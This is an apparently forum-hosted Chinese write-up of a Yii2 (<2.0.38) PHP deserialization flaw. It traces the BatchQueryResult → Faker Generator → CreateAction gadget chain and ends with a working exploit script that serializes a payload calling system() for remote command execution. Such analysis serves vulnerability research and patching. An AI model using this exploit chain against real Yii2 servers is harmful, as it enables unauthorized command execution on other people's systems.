影响范围

  • Yii2 < 2.0.38

环境安装

由于我本地的composer不知道为啥特别慢(换源也不管用),所以这里直接去Yii2的官方仓库里面拉。

选择一个漏洞影响的版本yii-basic-app-2.0.37.tgz
解压到Web目录,然后修改一下配置文件。
/config/web.php:

cookieValidationKey字段设置一个值(如果是composer拉的可以跳过这一步)
接着添加一个存在漏洞的Action
/controllers/TestController.php:

测试访问:

搭建成功

漏洞分析

由于没有漏洞细节,我们可以去Yii2的官方仓库看看提交记录。
yiisoft/yii2

在最新版中官方给yii\db\BatchQueryResult类加了一个__wakeup()函数,直接不允许反序列化这个类了。

所以这里猜测该类为反序列化起点。
/vendor/yiisoft/yii2/db/BatchQueryResult.php:

<?php
namespace yii\db;

class BatchQueryResult{
    /** 
    ......
    */
    public function __destruct()
    {
        $this->reset();
    }

    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }
    /** 
    ......
    */
}
?>

可以看到__destruct()调用了reset()方法
reset()方法中,$this->_dataReader是可控的,所以此处可以当做跳板,去执行其他类中的__call()方法。

全局搜索function __call(

其中找到一个Faker\Generator
/vendor/fzaninotto/faker/src/Faker/Generator.php:

<?php
namespace Faker;

class Generator{
    /** 
    ......
    */
    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
    /** 
    ......
    */
}
?>

可以看到,此处的__call()方法调用了format(),且format()$this->formatter里面取出对应的值后,带入了call_user_func_array()函数中。
由于$this->formatter是我们可控的,所以我们这里可以调用任意类中的任意方法了。
但是$arguments是从yii\db\BatchQueryResult::reset()里传过来的,我们不可控,所以我们只能不带参数地去调用别的类中的方法。

到了这一步只需要找到一个执行类即可。
我们可以全局搜索call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+),得到使用了call_user_func函数,且参数为类中成员变量的所有方法。

查看后发现yii\rest\CreateAction::run()yii\rest\IndexAction::run()这两个方法比较合适。
这里拿yii\rest\CreateAction::run()举例
/vendor/yiisoft/yii2/rest/CreateAction.php:

<?php
namespace yii\rest;

class CreateAction{
    /** 
    ......
    */
    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        /* @var $model \yii\db\ActiveRecord */
        $model = new $this->modelClass([
            'scenario' => $this->scenario,
        ]);

        $model->load(Yii::$app->getRequest()->getBodyParams(), '');
        if ($model->save()) {
            $response = Yii::$app->getResponse();
            $response->setStatusCode(201);
            $id = implode(',', array_values($model->getPrimaryKey(true)));
            $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
        } elseif (!$model->hasErrors()) {
            throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
        }

        return $model;
    }
    /** 
    ......
    */
}
?>

$this->checkAccess$this->id都是我们可控的。所以整个利用链就出来了。

yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

还是挺简单的一个漏洞

EXP

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖